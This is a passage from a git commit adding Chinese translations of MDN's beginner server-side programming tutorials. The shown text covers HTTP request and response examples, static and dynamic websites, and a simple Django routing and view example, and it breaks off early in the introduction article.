aboutsummaryrefslogtreecommitdiff
path: root/files/zh-cn/learn/server-side/first_steps
diff options
context:
space:
mode:
authorPeter Bengtsson <mail@peterbe.com>2020-12-08 14:40:17 -0500
committerPeter Bengtsson <mail@peterbe.com>2020-12-08 14:40:17 -0500
commit33058f2b292b3a581333bdfb21b8f671898c5060 (patch)
tree51c3e392513ec574331b2d3f85c394445ea803c6 /files/zh-cn/learn/server-side/first_steps
parent8b66d724f7caf0157093fb09cfec8fbd0c6ad50a (diff)
downloadtranslated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.gz
translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.bz2
translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.zip
initial commit
Diffstat (limited to 'files/zh-cn/learn/server-side/first_steps')
-rw-r--r--files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html317
-rw-r--r--files/zh-cn/learn/server-side/first_steps/index.html46
-rw-r--r--files/zh-cn/learn/server-side/first_steps/introduction/index.html239
-rw-r--r--files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html298
-rw-r--r--files/zh-cn/learn/server-side/first_steps/website_security/index.html165
5 files changed, 1065 insertions, 0 deletions
diff --git a/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html
new file mode 100644
index 0000000000..c8bb70acd3
--- /dev/null
+++ b/files/zh-cn/learn/server-side/first_steps/client-server_overview/index.html
@@ -0,0 +1,317 @@
+---
+title: 客户端服务端交互概述
+slug: learn/Server-side/First_steps/Client-Server_overview
+tags:
+ - 服务器端编程
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">既然你已经了解了服务器端编程的目的和潜在的好处,接下来我们将非常细致地去说明当服务器接收到了来自浏览器的“动态请求”时到底发生了什么。因为大多数的服务器端代码通过相似的方式来处理请求并做出响应,这将帮助你理解当编写你自己的大量代码时你需要做什么。</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">预备知识:</th>
+ <td>基本电脑素养、对于什么是网络服务器的基本了解</td>
+ </tr>
+ <tr>
+ <th scope="row">目标:</th>
+ <td>理解在动态网站中的客户端-服务器端交互过程,尤其是服务器端代码需要承担的工作</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>到目前为止的讨论中还没有真正的代码,因为我们还没有选择一个web框架来写我们的代码呢!然而这个讨论仍旧十分重要,因为我们描述的行为必须通过你的服务器端代码来实现,不管你选择什么编程语言和web框架。</p>
+
+<h2 id="网络服务器和HTTP(入门)">网络服务器和HTTP(入门)</h2>
+
+<p>网络浏览器通过超文本标记语言传输协议(<a href="/en-US/docs/Web/HTTP">HTTP</a>)与网络服务器(<a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">web servers</a>)。 当你在网页上点击一个链接、提交一个表单、或者进行一次搜索的时候,浏览器发送一个HTTP请求给服务器。</p>
+
+<p>这个请求包含:</p>
+
+<ul>
+ <li>一个用来识别目标服务器和资源(比如一个HTML文档、存储在服务器上的一个特定的数据、或者一个用来运行的工具等)的URL。 </li>
+ <li>一个定义了请求行为的方法(比如,获得一个文档或者上传某些数据)。不同的方法/动作以及与他们相关的行为罗列如下:
+ <ul>
+ <li>GET:获取一份指定(比如一个包含了一个产品或者一系列产品相关信息的HTML文档)。</li>
+ <li>POST:创建一份新的资源(比如给wiki增加一片新的文章、给数据库增加一个新的节点)。</li>
+ <li><code>HEAD</code>:  获取有关指定资源的元数据信息,而不会得到像GET的内容部分。例如,您可以使用HEAD请求来查找上次更新资源的时间,然后仅使用(更“昂贵”)GET请求下载资源(如果已更改)。</li>
+ <li>PUT:更新一份已经存在的资源(或者在该资源不存在的情况下创建一份新的)。</li>
+ <li>DELETE:删除指定的资源。</li>
+ <li><code>TRACE</code>、<code>OPTIONS</code>、<code>CONNECT<font face="Open Sans, arial, sans-serif">、</font>PATCH</code>等动作是为一些不常见任务设计的,因此我们在这里的讲解不会涉及到他们。</li>
+ </ul>
+ </li>
+ <li>额外的信息可以和请求一起被编码(比如HTML表单数据)。信息可以被编码成如下:
+ <ul>
+ <li>URL参数:GET请求通过在URL末尾增加的键值对,来编码包含在发送给服务器的URL中的数据——比如,<code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>,你经常会用到问号(?)来将URL剩余的部分和URL参数分隔开来,一个赋值符号(=)将名称和与之相关的值分隔开来,然后一个“&amp;”符号分割不同的键值对。当他们被用户改变然后提交时,URL参数具有与生俱来地“不安全性”。因此,一个URL参数或者GET请求是不会用来在服务器上更新数据的。</li>
+ <li>POST数据:POST请求会增加新的资源,这些数据将会在请求体中编码。</li>
+ <li>客户端cookie:cookies包含与客户相关的会话数据,服务器可以用这些数据来判断用户的登录状态以及用户是否有访问资源的权限。</li>
+ </ul>
+ </li>
+</ul>
+
+<p>网络服务器等待来自客户的请求信息,当请求到达时处理它们,然后发给浏览器HTTP响应消息。回应包含一个HTTP响应状态码(<a href="/en-US/docs/Web/HTTP/Status">HTTP Response status code</a>)来暗示请求是否成功 (比如 "<code>200 OK</code>" 连接成功, "<code>404 Not Found</code>" 资源没有找到, "<code>403 Forbidden</code>" 用户没有被授权查看资源, 等等).  一个成功的响应主体,会包含GET请求所请求的资源.</p>
+
+<p>当一个HTML页面被返时,页面会被网络浏览器呈现出来。作为处理工作的一部分,浏览器会发现指向其他资源的链接(比如,一个HTML页面通常会参考Javascript和CSS页面),并且会发送独立的HTTP请求来下载这些文件。</p>
+
+<p>静态网站和动态网站(在接下来的部分讨论到的)正是使用同一种通信协议/模式</p>
+
+<h3 id="GET请求响应举例">GET请求/响应举例</h3>
+
+<p>你可以通过点击一个链接或者在网站进行一次搜索(比如搜索引擎的首页)做出一次简单的GET请求。比如,当你在MDN上进行一次对“客户端概览”词条的搜索时,HTTP请求就被发送出去了,你将会看到正如下面一样被展示出来的文本信息(展示出来的信息不一定是相同的,因为其中一部分信息还取决于你的浏览器)。</p>
+
+<div class="note">
+<p>HTTP消息的格式是在“网络标准”(<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>)中定义的。你不需要知道这个标准的细节,但是现在你至少得知道所有这些是来自哪儿的!</p>
+</div>
+
+<h4 id="请求">请求</h4>
+
+<p>每一行请求都包含着相关信息。第一部分被称为<strong>header</strong>,并且包含着关于这个请求的有用信息,同样地一个<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a>包含着关于HTML文档的有用信息(但是却没有自身的实际内容,内容在主体里面)。</p>
+
+<pre>GET https://developer.mozilla.org/en-
+US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>第一行和第二行包含了我们在上面讨论过的大部分信息</p>
+
+<ul>
+ <li>请求类型(GET)。</li>
+ <li>目标资源的URL(<code>/en-US/search</code>)。</li>
+ <li>URL参数(<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev)。</code></li>
+ <li>目标网站(developer.mozilla.org)。</li>
+ <li>第一行的末尾也包含了一个简短的包含了标识协议版本的字符串(<code>HTTP/1.1</code>)。</li>
+</ul>
+
+<p>最后一行包括一些关于客户端cookies的信息——你可以看到在这种情况下cookies包含一个为处理远程会话准备的ID(<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>)。</p>
+
+<p>剩余几行包含着所使用的浏览器以及浏览器所能处理的回应类型等信息。比如,你可以在下面看到这些相关信息:</p>
+
+<ul>
+ <li>我的浏览器上(<code>User-Agent</code>)是火狐(<code>Mozilla/5.0</code>).</li>
+ <li>它可以接收gzip压缩信息(<code>Accept-Encoding: gzip</code>).</li>
+ <li>它可以接收的具体编码类型(<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>)和语言(<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li>The <code>Referer</code> line提示包含资源链接的网络地址(或者说请求的来源是 <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>请求也可以有一个请求体,不过在这个例子中请求的请求体是空的。</p>
+
+<h4 id="回应">回应</h4>
+
+<p>针对这个请求的回应的第一部分内容展示如下。The header包含了如下信息:</p>
+
+<ul>
+ <li>第一行包括了回应状态码200 OK,这告诉我们请求是成功的。</li>
+ <li> 我们可以看到回应是文本<code>/html格式的</code>(<code>Content-Type</code>).</li>
+ <li>我们也可以看到它使用的是UTF-8字符集(<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>The head也告诉我们它有多大(<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>在消息的末尾我们可以看到<strong>主体</strong>内容——包含了针对请求返回的真实的HTML。</p>
+
+<pre class="brush: html">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>header的剩余部分还包括一些回应的其他信息(比如回应在什么时候生成的),有关服务器的信息,还有它期望浏览器如何处理这个包(比如, <code>X-Frame-Options: DENY</code> 告诉浏览器不允许这个网页嵌入在其他网站的HTML元素{{htmlelement("iframe")}}上。</p>
+
+<h3 id="POST_请求响应举例">POST 请求/响应举例</h3>
+
+<p>当你提交一个表单,并且希望表单所包含的信息存储到服务器的时候,你就生成了一次HTTP POST请求。</p>
+
+<h4 id="请求_2">请求</h4>
+
+<p>下面的文本展示了当用户在网站上提交新的文件的时候,生成的一个HTTP请求的格式和之前展示的GET请求是非常相似的,只是第一行标识这个请求为POST。</p>
+
+<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>最主要的不同在于URL不再包含任何参数。正如你所见,表单提交的信息被编码后放入消息主体中了。(比如:使用以下命令设置新的用户全名:<code>&amp;user-fullname=Hamish+Willee</code>)</p>
+
+<h4 id="响应">响应</h4>
+
+<p>请求的响应如下。状态码"302 FOUND"告知浏览器,服务端已收到它提交的post请求,它必须再发出第二个HTTP请求来加载<code>Location</code>字段中指定的页面。对于其他方面的信息含义,则与<code>GET</code>请求的响应信息类似。</p>
+
+<pre class="brush: html">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>注意</strong>: 上面展示的HTTP请求和响应式通过Fiddler软件来捕获的,你也可以得到相似的信息通过使用网络嗅探器(比如<a href="http://web-sniffer.net/">http://web-sniffer.net/</a>)或者使用浏览器扩展例如 <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>。你可以自己尝试一下。使用任何一个上面链接的工具,浏览一个站点并修改主要信息来观察不同的请求和响应。更多的现代浏览器拥有网络监控工具(例如,在Firefox上的 <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> 工具)。</p>
+</div>
+
+<h2 id="静态网站">静态网站</h2>
+
+<p>静态网站是指每当请求一个特定的资源时,会从服务器返回相同的硬编码内容。因此,例如,如果您在 <code>/static/myproduct1.html</code> 有一个关于产品的页面,则该页面将返回给每个用户。如果您添加另一个类似的产品到您的网站,您将需要添加另一个页面(例如 <code>myproduct2.html</code> )等。这可能开始变得非常低效 :当您访问数千个产品页面时会发生什么——你会在每个页面(基本的页面模板,结构等等)上重复很多代码,如果你想改变页面结构的任何东西,比如添加一个新的“相关产品”部分,必须单独更改每个页面。</p>
+
+<div class="note">
+<p><strong>注释</strong>: 当你有少量页面时,向每个用户发送相同的内容时,静态网站是最佳选择, 然而随着页面数量的增加,它们的维护成本也会很高。</p>
+</div>
+
+<p>让我们回顾一下在上一篇文章中看到的静态网站架构图,看看它是如何工作的。</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>当用户想要导航到页面时,浏览器会发送一个指定HTML页面的URL的HTTP的<code>GET</code>请求。<br>
+ 服务器从它的文件系统中检索所请求的文档,并返回包含文档和HTTP响应状态码“<code>200 OK</code>”(表示成功)的HTTP响应。服务器可能会返回一个不同的状态码,例如,"<code>404 Not Found</code>"表明文件不在服务器上,或者"<code>301 Moved Permanently</code>"表明如果文件存在,则被重定向到另一个位置。</p>
+
+<p>静态站点的服务器只需要处理 GET 请求,因为服务器不存储任何可修改的数据。它也不会根据HTTP请求数据(例如 URL 参数或 cookie)更改响应。</p>
+
+<p>了解静态站点如何工作在学习服务器端编程时非常有用,因为动态站点以完全相同的方式处理对静态文件(CSS、JavaScript、静态图像等)的请求。</p>
+
+<h2 id="动态网站">动态网站</h2>
+
+<p>动态站点可以根据特定的请求 URL 和数据生成和返回内容(而不是总是返回同一个URL的硬编码文件)。使用产品网页的示例,服务器将把产品“数据”存储在数据库中,而不是单独的HTML文件。当接收到一个产品的HTTP <code>GET</code> 请求时,服务器将确定产品 ID,从数据库中获取数据,然后通过将数据插入到HTML模板中来构造响应的HTML页面。与静态站点相比,这有很大的优势</p>
+
+<p>通过使用数据库,可以有效地将产品信息存储在易于扩展、可修改和可搜索的方式中。</p>
+
+<p>使用 HTML 模板可以很容易地改变HTML结构,因为这只需要在一个模板中的某一处地方完成,而不需要跨越数千个静态页面。</p>
+
+<h3 id="剖析动态请求">剖析动态请求</h3>
+
+<p>本节将逐步概述“动态” HTTP 请求和响应周期,以更详细的内容构建我们在上一篇文章中所看到的内容。为了“让事情保持真实”,我们将使用一个体育团队经理网站的情景,在这个网站上,教练可以用 HTML 表单选择他们的球队名称和球队规模,并为他们的下一场比赛中获得建议的“最佳阵容”。</p>
+
+<p>下面的图表显示了“球队教练”网站的主要元素,以及当教练访问他们的“最佳团队”列表时,操作序列的编号。使其动态的站点的部分是 <em>Web 应用程序</em>(这就是我们将如何引用处理 HTTP 请求并返回 HTTP 响应的服务器端代码)数据库,该数据库包含关于球员、球队、教练及其关系以及HTML 模板的信息。</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>在教练提交球员名单和球员人数后,其操作顺序为:</p>
+
+<ol>
+ <li>Web 浏览器使用资源的基本 URL(<code>/best</code>)来创建一个HTTP <code>GET</code>请求,将球队和球员编号附加到URL后面作为参数(例如 <code>/best?team = my_team_name&amp;show = 11</code>)或作为URL地址的一部分(例如 <code>/best/my_team_name/11/</code>)。使用<code>GET</code>请求是因为请求只是获取数据(而不是修改数据)。</li>
+ <li>Web 服务器检测到请求是“动态的”,并将其转发给 Web 应用程序(Web Application)进行处理( Web 服务器根据其配置中定义的模式匹配规则确定如何处理不同的 URL )。</li>
+ <li>Web 应用程序(Web Application)确定请求的意图是根据 URL(<code>/best/</code>)获得“最佳团队列表”,并从 URL 中找出所需的球队名称和球员人数。然后,Web 应用程序(Web Application)从数据库中获取所需的信息(使用额外的“内部”参数来定义哪些球员是“最好”的,并且可能还从客户端 cookie 获得登录教练的身份)。</li>
+ <li>Web应用程序(Web Application)通过将数据(来自数据库)放入 HTML 模板中的占位符中动态地创建 HTML页面。</li>
+ <li>Web应用程序(Web Application)将生成的HTML(通过Web服务器)和HTTP状态代码200(“成功”)返回到Web浏览器。如果有任何东西阻止HTML被返回,那么Web应用程序将返回另一个状态代码 - 例如“404”来表示球队不存在。</li>
+ <li>然后,Web 浏览器将开始处理返回的 HTML ,发送单独的请求以获取其引用的任何其他 CSS 或 JavaScript 文件(请参阅步骤7)。</li>
+ <li>Web 服务器从文件系统加载静态文件,并直接返回到浏览器(同样,正确的文件处理基于配置规则和URL模式匹配)。</li>
+</ol>
+
+<p>在服务器中,更新数据库中的记录的操作将被类似地与上述过程一样处理,但是更新数据库的这一类的操作,应该指定来自浏览器的HTTP请求为<code>POST</code>请求。</p>
+
+<h3 id="完成其他工作">完成其他工作</h3>
+
+<p>Web 应用程序(Web Application)的工作是接收 HTTP 请求并返回 HTTP 响应。虽然与数据库交互以获取或更新信息是非常常见的功能,但是代码也可能同时做其他事情,甚至不与数据库交互。<br>
+ <br>
+ 一个 Web 应用程序(Web Application)可能执行的额外任务的一个很好的例子就是发送一封电子邮件给用户,以确认他们在网站上的注册。该网站也可能执行日志记录或其他操作。</p>
+
+<h3 id="返回HTML以外的内容">返回HTML以外的内容</h3>
+
+<p>服务器端网站代码并非只能在响应中返回 HTML 代码片段/文件。它可以动态地创建和返回其他类型的文件(text,PDF,CSV 等)甚至是数据(JSON,XML等)。<br>
+ <br>
+ 将数据返回到 Web 浏览器以便它可以动态更新自己的内容(AJAX)的想法实现已经有相当长的一段时间了。最近,“单页面应用程序”已经变得流行起来,整个网站用一个 HTML 文件编写,在需要时动态更新。使用这种风格的应用程序创建的网站将大量的计算成本从服务器推向网络浏览器,并可能导致网站表现出更像本地应用程序(高度响应等)。</p>
+
+<h2 id="web框架简化服务器端的web编程">web框架简化服务器端的web编程</h2>
+
+<p>服务器端web框架使得编写解决我们上面描述的操作的代码变得简单得多。</p>
+
+<p>web 框架可以提供的一个最重要的功能就是,提供简单的机制,以将不同的资源和页面定位到具体的处理函数。这使得保持代码和各个不同形式的资源的联系变得简单。它也非常利于代码的维护,因为你可以直接改变在一个地方用来传输特定功能的URL,而不用改变处理函数。</p>
+
+<p>举个例子,我们来思考一下下面的 Django(python) 代码,这些代码将两个 URL 地址定位到两个页面。第一个地址确保了,一个包含了 <code>/best/</code> URL 的 HTTP 请求,可以被传递到一个在<code>views</code>模块的被命名为<code>index()</code>的函数。一个含有"<code>/best/junior</code>"的请求则会被传递到<code>junior()</code>视图函数。</p>
+
+<pre class="brush: python"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+ # example: /best/
+ url(r'^$', views.index),
+ # example: /best/junior/
+ url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>注意</strong>: 在<code>url()</code>函数中的第一个参数可能看起来有点古怪 (比如<code>r'^junior/$</code>)  因为他们使用一个叫做“正则表达式”(RegEx, or RE)的字符匹配机制。在这里,你还不需要知道正则表达式是如何工作的,除了要知道它们是如何允许我们在URL中匹配到字符的 (而不是像上面的硬编码) 并且知道如何在我们的视图函数中将它们用作参数。举个例子,一个真正简单的正则表达式可能会说“匹配一个大写字母,后面跟着4到7个小写字母”"</p>
+</div>
+
+<p>Web 框架还可以轻松地使用查看函数,从数据库获取信息。我们的数据结构是在模型中定义的,模型是定义要存储在底层数据库中的字段的Python类。如果我们有一个名为Team的模型,其中有一个“<em>team_type</em>”字段,那么我们可以使用一个简单的查询语法来取回所有具有特定类型的球队。</p>
+
+<p>下面的例子得到了所有字段team_type(区分大小写)为“junior”的所有球队的列表 - 注意格式:字段名称(team_type),后面跟着双下划线,然后是使用的匹配类型)。还有很多其他的匹配类型,我们可以组合他们。我们也可以控制返回结果的顺序和数量。</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p><code>junior()</code>函数获得少年组列表后,它调用<code>render()</code>函数,传递原始的HttpRequest,一个HTML模板和一个定义要包含在模板中的信息的“context”对象。 <code>render()</code>函数是一个方便的函数,它使用上下文和HTML模板生成 HTML,并将其返回到 <code>HttpResponse</code> 对象中</p>
+
+<p>显然地 web 框架可以帮助你解决很多问题。我们在下一篇文章里将会大量讨论这些好处和一些流行的web框架。</p>
+
+<h2 id="总结">总结</h2>
+
+<p>到这里你应该对于服务器端代码不得不进行的操作有一个整体上的理解,并且知道一个服务器端web框架是从那些方面让这些变得更简单的。</p>
+
+<p>在接下来的模块里面我们会帮助你选择对于你的第一个网站来说最适合的web框架。</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/zh-cn/learn/server-side/first_steps/index.html b/files/zh-cn/learn/server-side/first_steps/index.html
new file mode 100644
index 0000000000..c047603f72
--- /dev/null
+++ b/files/zh-cn/learn/server-side/first_steps/index.html
@@ -0,0 +1,46 @@
+---
+title: 服务端网站编程的第一步
+slug: learn/Server-side/First_steps
+tags:
+ - 初学者
+ - 学习
+ - 服务端编程
+ - 脚本编程
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<div>在我们的服务端编程板块中,我们回答了服务端编程的一系列基础问题—“它是什么?”,“它和客户端编程的区别是什么?”,还有“为什么它是有价值的?”。然后我们提供了对几个最受欢迎的服务端Web框架的概览,同时还有对如何选择最适合的框架来创建你第一个网站的指导。最后我们提供了一篇从高层次介绍Web服务器安全的文章。</div>
+
+<div></div>
+
+<h2 id="先决条件">先决条件</h2>
+
+<p>在开始这个模块之前,你不必知道任何关于服务端网站编程的知识,或者任何一种其他编程经验。</p>
+
+<p>你需要先知道“Web如何工作”,我们推荐你首先阅读下面几个话题:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">什么是一个Web服务器?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">建立一个网站需要什么软件?</a></li>
+ <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/Upload_files_to_a_web_server">如何向Web服务器上传文件?</a></li>
+</ul>
+
+<p>有了这些基础知识,你已经准备好开始这些模块的学习了。</p>
+
+<h2 id="引导">引导</h2>
+
+<dl>
+ <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Introduction">服务端简介</a></dt>
+ <dd>欢迎来到MDN提供的初学者服务端编程课程!在我们第一篇文章中,我们从一个很高的角度来审视服务端编程,回答的问题都是类似于:什么是服务端编程?它与客户端编程的区别在哪?以及为什么它如此有价值?在阅读本文之后,你将通过服务端编程了解更多关于网站开发的知识。</dd>
+ <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Client-Server_overview">客户端编程回顾</a></dt>
+ <dd>现在你应该了解服务端编程的目的以及它可能带来的好处,我们现在要去探究一些细节,当服务端接收到浏览器的“动态请求”时,到底发生了什么。大多数服务端代码都是用相似的方式来处理请求以及应答,这一点将帮助你更好地明白在编写你自己的代码时,你到底需要做些什么。</dd>
+ <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Web_frameworks">服务端web框架</a></dt>
+ <dd>最后一篇文章将会介绍当服务端web程序为了响应web浏览器发出的请求,它需要做些什么。现在我们来看看web框架是如何简化这些任务的,除此之外,本文还将帮助你为你自己的第一个服务端web程序选择一个合适的框架。</dd>
+ <dt><a href="/zh-CN/docs/learn/Server-side/First_steps/Website_security">网站安全性</a></dt>
+ <dd>在网站的设计与使用过程中,网站安全在方方面面都需要引起警惕。这篇引导性的文章不会让你成为网站安全方面的专家,但是它能够帮你了解为了强化你的web应用用以抵抗大多数常见的威胁时,你应该做的第一件重要的事是什么。</dd>
+</dl>
+
+<h2 id="评估">评估</h2>
+
+<p>这块“概览性”的内容并不会有任何评估练习,因为我们至今还没向你展示一句代码。我们确切地希望到了这里,你已经对服务端编程提供的各种功能有了一个很好的理解,并且已经为创建你自己的第一个web站点选好了合适的web框架。</p>
diff --git a/files/zh-cn/learn/server-side/first_steps/introduction/index.html b/files/zh-cn/learn/server-side/first_steps/introduction/index.html
new file mode 100644
index 0000000000..7f6a05f4e0
--- /dev/null
+++ b/files/zh-cn/learn/server-side/first_steps/introduction/index.html
@@ -0,0 +1,239 @@
+---
+title: 服务端编程介绍
+slug: learn/Server-side/First_steps/Introduction
+tags:
+ - 介绍
+ - 初学者
+ - 向导
+ - 学习
+ - 服务
+ - 服务器端编程
+ - 服务端编程
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>
+<div></div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+</div>
+
+<p class="summary">欢迎来到MDN为初学者准备的服务器端编程课程!在第一篇文章里面我们将会从一个较高的角度来看待服务器端编程,通过解答下面这些问题来实现这一点,比如:服务器端编程是什么?服务器端编程和客户端编程有何不同?还有,为什么服务器端编程这么有用?当你读完这篇文章后,你会理解通过服务器端编程实现的网站所能提供的额外的功能。</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">先决条件:</th>
+ <td>基础电脑知识、对“网络服务器是什么”的基本理解</td>
+ </tr>
+ <tr>
+ <th scope="row">目标:</th>
+ <td>熟悉服务器端编程是什么,它可以做什么,它和客户端编程的区别</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>大多数的大型网站采用服务器端编程来在需要的时候动态展示不同的信息,这些信息通常会从服务器上的数据库中取出,然后发送给客户端,并通过一些代码(比如HTML和Javascript)展示在客户端。</p>
+
+<p>或许服务器端编程的最大益处在于它允许你对不同的用户个体展示不同的网站信息。动态网站可以高亮基于用户喜好和习惯的与用户相关度更高的内容。通过存储用户的偏好设置和个人信息使得网站更加易于使用——比如通过重复使用信用卡的详细信息来简化后续付款流程。</p>
+
+<p>它允许在页面中与用户进行交互,比如通过邮件或者其他渠道发送通知和更新信息。服务器端的所有的这些能力使得网站可以与用户有更深的联系。</p>
+
+<p>在现代的web开发中,学习服务器端编程是很被推荐的。</p>
+
+<h2 id="服务器端编程是什么?">服务器端编程是什么?</h2>
+
+<p>网络浏览器通过<strong>超文本传输协议</strong> ({{glossary("HTTP")}})来和<a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">网络服务器</a> 进行通信。当你在网页上点击一个链接,或提交一个表单,再或进行一次搜索时,一个<strong>HTTP请求</strong>就从你的浏览器发送到了目标服务器。</p>
+
